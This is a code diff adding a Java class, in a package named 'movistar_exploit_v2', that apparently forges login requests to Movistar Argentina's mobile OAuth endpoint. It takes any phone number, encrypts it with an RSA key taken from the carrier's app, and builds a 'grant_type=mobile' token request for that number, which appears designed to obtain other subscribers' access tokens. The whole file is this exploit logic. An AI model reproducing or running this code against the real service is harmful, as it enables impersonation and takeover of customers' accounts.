1
+ package me .sebikul .movistar_exploit_v2 ;
2
+
3
+ import com .services .movistar .ar .app .util .DeviceUtils ;
4
+
5
+ import org .apache .commons .codec .binary .Base64 ;
6
+
7
+ import java .security .KeyFactory ;
8
+ import java .security .PublicKey ;
9
+ import java .security .spec .X509EncodedKeySpec ;
10
+
11
+ import javax .crypto .Cipher ;
12
+
13
+
14
+ public class MiMovistarWsClient {
15
+ private static MiMovistarWsClient instance ;
16
+
17
+ protected MiMovistarWsClient () {
18
+ }
19
+
20
+ public static MiMovistarWsClient getInstance () {
21
+ if (instance == null ) {
22
+ instance = new MiMovistarWsClient ();
23
+ }
24
+ return instance ;
25
+ }
26
+
27
+ public String getAccessToken (String msisdn ) {
28
+ if (msisdn .startsWith ("54" )) {
29
+ msisdn = msisdn .substring (2 );
30
+ }
31
+
32
+ String aa = DeviceUtils .ed3 ();
33
+ String bb = DeviceUtils .ed8 ();
34
+ String str2 = "" ;
35
+ String stringToConvert = "" ;
36
+ try {
37
+ byte [] keyBytes = new byte [0 ];
38
+ PublicKey key = KeyFactory .getInstance ("RSA" ).generatePublic (new X509EncodedKeySpec (Base64 .decodeBase64 (aa .getBytes ("utf-8" ))));
39
+ Cipher cipher = Cipher .getInstance ("RSA/None/PKCS1Padding" );
40
+ cipher .init (1 , key );
41
+ if (msisdn .startsWith ("54" )) {
42
+ msisdn = msisdn .substring (2 );
43
+ }
44
+ byte [] encryptedText = cipher .doFinal (msisdn .getBytes ());
45
+ char [] hexArray = "0123456789ABCDEF" .toCharArray ();
46
+ char [] hexChars = new char [(encryptedText .length * 2 )];
47
+ for (int j = 0 ; j < encryptedText .length ; j ++) {
48
+ int v = encryptedText [j ] & 255 ;
49
+ hexChars [j * 2 ] = hexArray [v >>> 4 ];
50
+ hexChars [(j * 2 ) + 1 ] = hexArray [v & 15 ];
51
+ }
52
+ str2 = new String (hexChars );
53
+ } catch (Exception e ) {
54
+ e .printStackTrace ();
55
+ }
56
+ String urlString2 = "https://mi.movistar.com.ar/v2/oauth/token" ;
57
+ return "username=" + str2 + "&grant_type=mobile" ;
58
+ }
59
+ }
0 commit comments